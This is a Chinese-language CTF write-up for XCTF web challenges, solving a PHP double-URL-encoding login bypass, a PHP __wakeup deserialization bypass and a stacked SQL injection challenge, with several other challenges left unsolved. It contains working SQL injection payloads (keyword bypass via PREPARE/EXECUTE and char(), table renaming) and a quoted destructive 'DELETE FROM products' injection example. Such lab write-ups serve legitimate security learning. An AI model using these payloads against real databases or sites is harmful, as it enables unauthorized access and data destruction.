CTF_Web:攻防世界高手区进阶题WP(9-14)

持续更新ing

0x09 PHP2

CTF_Web:攻防世界高手区进阶题WP(9-14)
题目只有一句话,Can you anthenticate to this website?,其实说实话没什么思路,根据dirsearch的结果,只有index.php存在,里面也什么都没有,各路前辈说index.phps存在源码泄露,于是看了看。

 <?php if("admin"===$_GET[id]) {   echo("<p>not allowed!</p>");   exit(); }  $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") {   echo "<p>Access granted!</p>";   echo "<p>Key: xxxxxxx </p>"; } ?>  Can you anthenticate to this website? 

上面这段代码是验证是否通过的条件,简单来说就是传入的id值不等于admin,但在url解码后等于admina%61,传入%61dmin,发现直接被浏览器解码为admin,影响了后续的判断,于是对%再次编码,传入%2561dmin。得到flag。
CTF_Web:攻防世界高手区进阶题WP(9-14)

0x10 unserialize3

打开题目为:

class xctf{  	public $flag = '111'; 	public function __wakeup(){ 	exit('bad requests'); } ?code= 

传入的code只要跳出魔法函数__wakeup即可,wakeup函数在反序列化的对象与真实存在的参数个数不同时会跳过执行,即当前函数中只有一个参数$flag,若传入的序列化字符串中的参数个数为2即可绕过。
写如下代码:

<?php class xctf{  	public $flag = '111'; } $a = new xctf(); echo serialize($a); 

得到结果O:4:"xctf":1:{s:4:"flag";s:3:"111";},将类xctf中的参数1修改为2,提交code,得到flag。
后续会对反序列化知识进行专门的学习,在此先以刷题为主。

0x11 upload1

创建环境失败。
题目是一个js前端验证的上传,抓包修改提交参数或者修改前端js验证都可绕过。

0x12 Web_python_template_injection

创建环境失败。
题目是一个python模板注入(SSTI)的问题,后续会对SSTI进行详细分析,也积累一下知识。

0x13 Web_php_unserialize

创建环境失败。
根据题目可以看出是一个反序列化漏洞,后续也会对这部分内容进行补充,积累基础知识。

0x14 supersqli(easysql)

题目来自于强网杯2019 的easysql,是一个注入题。先看下题目:
CTF_Web:攻防世界高手区进阶题WP(9-14)
通过1’报错,确定存在sql注入。
CTF_Web:攻防世界高手区进阶题WP(9-14)
通过order by判断字段数为2。
CTF_Web:攻防世界高手区进阶题WP(9-14)
在使用union联合查询时发现禁用了大部分的关键词。
CTF_Web:攻防世界高手区进阶题WP(9-14)
在这里其实我没什么好的想法,使用变形绕过select也失败,不断报错,网上的前辈们都讲到了需要使用 堆叠注入 了,那联合查询和堆叠注入到底有什么不同的?
下面的话引用自SQL注入-堆叠注入(堆查询注入),感谢前辈们的总结。

  • 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
  • 而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
  • 例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询CTF_Web:攻防世界高手区进阶题WP(9-14)

    查看words表结构。
    CTF_Web:攻防世界高手区进阶题WP(9-14)
    查看1919810931114514表结构。
    CTF_Web:攻防世界高手区进阶题WP(9-14)
    根据查询数据的结构可知,现在使用的是words表,而flag在1919810931114514表中。

    array(2) {   [0]=>   string(1) "1"   [1]=>   string(7) "hahahah" } 

    到这里其实思路比较明亮,就是要查表中flag字段的值,但是select等关键字被禁用,各路前辈也提供了不同的思路来解决。

    PREPARE name from '[my sql sequece]';   //预定义SQL语句 EXECUTE name;  //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL语句 char() cancat() //连接字符 char(115,101,108,101,99,116) -->SELECT 

    最后payload为1';PREPARE name from concat(char(115,101,108,101,99,116),'* from `1919810931114514`');EXECUTE name;#(纯数字的表名要加反引`号

    • 二是Art_Dillon师傅修改默认查询的表。
      预知识为修改表、列名。
    rename tables words to words1;修改表名。 alter table words change flag id varchar(100);修改表中列名。 

    最终payload为1 ' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);#执行成功后,需再次1' or 1=1;#查询所有列信息。
    CTF_Web:攻防世界高手区进阶题WP(9-14)

    小结

    经过近几天题目的练习发现自己对于很多知识都有所欠缺,也正是希望通过练习题目的方式查找自己存在的不足,列下内容,进行逐一学习,下步将对上面所提到的弱类型md5碰撞、php伪协议、反序列化、模板注入(SSTI)等进行学习。
    将基础学习补上之后继续刷题。

版权声明:玥玥 发表于 2021-08-09 20:53:37。
转载请注明:CTF_Web:攻防世界高手区进阶题WP(9-14) | 女黑客导航